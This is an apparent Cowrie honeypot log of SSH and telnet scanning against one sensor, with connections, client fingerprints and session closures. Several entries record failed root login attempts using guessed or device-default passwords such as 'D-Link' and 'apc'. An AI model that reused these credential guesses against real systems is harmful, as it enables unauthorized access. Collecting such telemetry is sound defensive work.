{"eventid":"cowrie.session.closed","duration":40.15491604804993,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:36:43.606494Z","src_ip":"192.119.13.58","session":"dc4a9da5e4da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60448,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ec57d4afa95","protocol":"telnet","message":"New connection: 192.119.13.58:60448 (10.17.0.5:23) [session: 0ec57d4afa95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:36:46.673434Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.210.22.17","src_port":35708,"dst_ip":"159.203.135.109","dst_port":22,"session":"5738b4ca67da","protocol":"ssh","message":"New connection: 103.210.22.17:35708 (159.203.135.109:22) [session: 5738b4ca67da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:36:49.647000Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.177.27","src_port":54078,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9df8f5de717","protocol":"ssh","message":"New connection: 43.134.177.27:54078 (10.17.0.5:22) [session: b9df8f5de717]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:36:50.711862Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:36:50.716604Z","src_ip":"43.134.177.27","session":"b9df8f5de717","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:36:50.954990Z","src_ip":"43.134.177.27","session":"b9df8f5de717","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"suporte2","message":"login attempt [root/suporte2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:36:51.937627Z","src_ip":"43.134.177.27","session":"b9df8f5de717","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:36:53.179638Z","src_ip":"43.134.177.27","session":"b9df8f5de717","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.233.48.169","src_port":48064,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a8bdfa61e69","protocol":"ssh","message":"New connection: 193.233.48.169:48064 (10.17.0.5:22) [session: 0a8bdfa61e69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:36:55.710698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:36:55.715599Z","src_ip":"193.233.48.169","session":"0a8bdfa61e69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:36:55.836719Z","src_ip":"193.233.48.169","session":"0a8bdfa61e69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.01467442512512,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:36:56.025810Z","src_ip":"192.119.13.58","session":"251076deea18","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"usermagic","message":"login attempt [root/usermagic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:36:56.353498Z","src_ip":"193.233.48.169","session":"0a8bdfa61e69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.46784853935242,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:36:56.817243Z","src_ip":"192.119.13.58","session":"67ee52ff662c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:36:57.476872Z","src_ip":"193.233.48.169","session":"0a8bdfa61e69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.50214910507202,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:36:57.570954Z","src_ip":"192.119.13.58","session":"95ee53e3a167","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50548,"dst_ip":"10.17.0.5","dst_port":23,"session":"e898b504bdb2","protocol":"telnet","message":"New connection: 192.119.13.58:50548 (10.17.0.5:23) [session: e898b504bdb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:36:58.310316Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":49792,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d7180656c44","protocol":"ssh","message":"New connection: 94.159.98.239:49792 (159.203.135.109:22) [session: 3d7180656c44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:37:02.610587Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:37:02.752408Z","src_ip":"94.159.98.239","session":"3d7180656c44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:37:02.756629Z","src_ip":"94.159.98.239","session":"3d7180656c44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"warcraft3","message":"login attempt [root/warcraft3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:37:03.977942Z","src_ip":"94.159.98.239","session":"3d7180656c44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.254114389419556,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:37:05.234184Z","src_ip":"192.119.13.58","session":"87d3be8007aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:37:05.246459Z","src_ip":"94.159.98.239","session":"3d7180656c44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51702,"dst_ip":"10.17.0.5","dst_port":23,"session":"37cb061403fb","protocol":"telnet","message":"New connection: 192.119.13.58:51702 (10.17.0.5:23) [session: 37cb061403fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:37:05.773365Z"}
{"eventid":"cowrie.session.closed","duration":43.3518853187561,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:37:07.963277Z","src_ip":"192.119.13.58","session":"6378218eebff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33124,"dst_ip":"10.17.0.5","dst_port":23,"session":"428598efcc82","protocol":"telnet","message":"New connection: 192.119.13.58:33124 (10.17.0.5:23) [session: 428598efcc82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:37:08.235995Z"}
{"eventid":"cowrie.session.closed","duration":0.005466461181640625,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:37:08.241353Z","src_ip":"192.119.13.58","session":"428598efcc82","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.76143836975098,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:37:09.901288Z","src_ip":"192.119.13.58","session":"4d53e502192d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48920,"dst_ip":"10.17.0.5","dst_port":23,"session":"b954fd16836b","protocol":"telnet","message":"New connection: 192.119.13.58:48920 (10.17.0.5:23) [session: b954fd16836b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:37:12.288500Z"}
{"eventid":"cowrie.session.closed","duration":37.373027086257935,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:37:12.664773Z","src_ip":"192.119.13.58","session":"0d529fad6c11","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:37:15.817045Z","src_ip":"103.210.22.17","session":"eb05e782fae8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"59.126.224.134","src_port":33130,"dst_ip":"10.17.0.5","dst_port":22,"session":"9667b7c1e7bd","protocol":"ssh","message":"New connection: 59.126.224.134:33130 (10.17.0.5:22) [session: 9667b7c1e7bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:37:23.976201Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:37:23.981451Z","src_ip":"59.126.224.134","session":"9667b7c1e7bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:37:24.195844Z","src_ip":"59.126.224.134","session":"9667b7c1e7bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"D-Link","message":"login attempt [root/D-Link] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:37:25.112593Z","src_ip":"59.126.224.134","session":"9667b7c1e7bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.44013833999634,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:37:26.113456Z","src_ip":"192.119.13.58","session":"0ec57d4afa95","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:37:26.328335Z","src_ip":"59.126.224.134","session":"9667b7c1e7bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.177.27","src_port":59250,"dst_ip":"10.17.0.5","dst_port":22,"session":"89e8999d36ba","protocol":"ssh","message":"New connection: 43.134.177.27:59250 (10.17.0.5:22) [session: 89e8999d36ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:37:28.626829Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:37:28.631608Z","src_ip":"43.134.177.27","session":"89e8999d36ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:37:28.871878Z","src_ip":"43.134.177.27","session":"89e8999d36ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"apc","message":"login attempt [root/apc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:37:29.862630Z","src_ip":"43.134.177.27","session":"89e8999d36ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:37:31.108649Z","src_ip":"43.134.177.27","session":"89e8999d36ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56396,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4a4602dd5c7","protocol":"telnet","message":"New connection: 192.119.13.58:56396 (10.17.0.5:23) [session: c4a4602dd5c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:37:34.805718Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56754,"dst_ip":"10.17.0.5","dst_port":23,"session":"f231f8d7d1ae","protocol":"telnet","message":"New connection: 192.119.13.58:56754 (10.17.0.5:23) [session: f231f8d7d1ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:37:34.892578Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":49730,"dst_ip":"10.17.0.5","dst_port":22,"session":"81942225f0f4","protocol":"ssh","message":"New connection: 103.27.238.114:49730 (10.17.0.5:22) [session: 81942225f0f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:37:36.362538Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:37:36.367320Z","src_ip":"103.27.238.114","session":"81942225f0f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.166.103.173","src_port":40550,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ab84bdf4bc9","protocol":"ssh","message":"New connection: 103.166.103.173:40550 (159.203.135.109:22) [session: 4ab84bdf4bc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:37:36.593084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:37:36.598155Z","src_ip":"103.166.103.173","session":"4ab84bdf4bc9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:37:36.641567Z","src_ip":"103.27.238.114","session":"81942225f0f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:37:36.836663Z","src_ip":"103.166.103.173","session":"4ab84bdf4bc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.77808427810669,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:37:37.088283Z","src_ip":"192.119.13.58","session":"e898b504bdb2","protocol":"telnet"}
